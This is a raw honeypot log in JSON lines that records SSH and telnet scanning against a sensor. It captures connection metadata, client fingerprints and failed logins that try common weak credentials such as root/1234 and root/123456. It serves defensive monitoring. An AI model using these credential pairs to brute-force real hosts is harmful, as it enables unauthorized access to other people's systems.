{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:43.114167Z","src_ip":"159.65.58.200","session":"d9a829173d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:43.119550Z","src_ip":"159.65.58.200","session":"d9a829173d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnbr","message":"login attempt [root/ghbdtnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:43.190356Z","src_ip":"154.221.25.72","session":"86d3234fcbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:44.397821Z","src_ip":"154.221.25.72","session":"86d3234fcbf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sokhoyan","password":"123456","message":"login attempt [sokhoyan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:44.407460Z","src_ip":"159.65.58.200","session":"d9a829173d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:37:45.637056Z","src_ip":"159.65.58.200","session":"d9a829173d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35224,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2308a872353","protocol":"ssh","message":"New connection: 103.82.132.16:35224 (10.17.0.5:22) [session: d2308a872353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:05.327102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:05.331481Z","src_ip":"103.82.132.16","session":"d2308a872353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:05.587456Z","src_ip":"103.82.132.16","session":"d2308a872353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050891","message":"login attempt [root/050891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:06.354297Z","src_ip":"103.82.132.16","session":"d2308a872353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:07.615713Z","src_ip":"103.82.132.16","session":"d2308a872353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.49679160118103,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:10.443743Z","src_ip":"170.64.224.25","session":"a05ef0ed518e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":34646,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce4a9df860b7","protocol":"ssh","message":"New connection: 92.118.39.71:34646 (159.203.135.109:22) [session: ce4a9df860b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:14.662452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:14.673885Z","src_ip":"92.118.39.71","session":"ce4a9df860b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:14.776329Z","src_ip":"92.118.39.71","session":"ce4a9df860b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:15.269234Z","src_ip":"92.118.39.71","session":"ce4a9df860b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:16.524683Z","src_ip":"92.118.39.71","session":"ce4a9df860b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51946,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f6a6e5bff8f","protocol":"ssh","message":"New connection: 91.92.40.4:51946 (10.17.0.5:22) [session: 3f6a6e5bff8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:27.109273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:27.113908Z","src_ip":"91.92.40.4","session":"3f6a6e5bff8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:27.195225Z","src_ip":"91.92.40.4","session":"3f6a6e5bff8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty","message":"login attempt [test/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:27.441810Z","src_ip":"91.92.40.4","session":"3f6a6e5bff8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:28.524629Z","src_ip":"91.92.40.4","session":"3f6a6e5bff8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33206,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c459dc37de4","protocol":"telnet","message":"New connection: 107.6.151.170:33206 (159.203.135.109:23) [session: 0c459dc37de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:30.355010Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39458,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e265e72422","protocol":"telnet","message":"New connection: 170.64.224.25:39458 (159.203.135.109:23) [session: c8e265e72422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:51.159687Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39466,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1a6c8a18023","protocol":"telnet","message":"New connection: 170.64.224.25:39466 (159.203.135.109:23) [session: c1a6c8a18023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:38:55.540246Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":35768,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ff3526e374","protocol":"ssh","message":"New connection: 213.21.248.43:35768 (159.203.135.109:22) [session: c6ff3526e374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:15.625302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:15.629436Z","src_ip":"213.21.248.43","session":"c6ff3526e374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:15.698826Z","src_ip":"213.21.248.43","session":"c6ff3526e374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123A123A","message":"login attempt [root/123A123A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:16.009321Z","src_ip":"213.21.248.43","session":"c6ff3526e374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:17.081373Z","src_ip":"213.21.248.43","session":"c6ff3526e374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":41331,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ea2535f797","protocol":"ssh","message":"New connection: 181.116.220.251:41331 (159.203.135.109:22) [session: c0ea2535f797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:21.608364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:21.612491Z","src_ip":"181.116.220.251","session":"c0ea2535f797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:21.784562Z","src_ip":"181.116.220.251","session":"c0ea2535f797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newmedia","message":"login attempt [root/newmedia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:22.504514Z","src_ip":"181.116.220.251","session":"c0ea2535f797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:23.679062Z","src_ip":"181.116.220.251","session":"c0ea2535f797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":57664,"dst_ip":"159.203.135.109","dst_port":22,"session":"878a3a1a3de7","protocol":"ssh","message":"New connection: 154.221.25.72:57664 (159.203.135.109:22) [session: 878a3a1a3de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:24.781884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:24.785090Z","src_ip":"154.221.25.72","session":"878a3a1a3de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:24.993221Z","src_ip":"154.221.25.72","session":"878a3a1a3de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:25.853440Z","src_ip":"154.221.25.72","session":"878a3a1a3de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:27.059744Z","src_ip":"154.221.25.72","session":"878a3a1a3de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.36909818649292,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:41.528654Z","src_ip":"170.64.224.25","session":"c8e265e72422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.34364819526672,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:43.698519Z","src_ip":"107.6.151.170","session":"0c459dc37de4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.45210814476013,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:39:44.992242Z","src_ip":"170.64.224.25","session":"c1a6c8a18023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7748a2fe0b8","protocol":"ssh","message":"New connection: 77.94.47.83:38804 (10.17.0.5:22) [session: f7748a2fe0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:09.032426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:09.036484Z","src_ip":"77.94.47.83","session":"f7748a2fe0b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:40:09.149153Z","src_ip":"77.94.47.83","session":"f7748a2fe0b8","protocol":"ssh"}
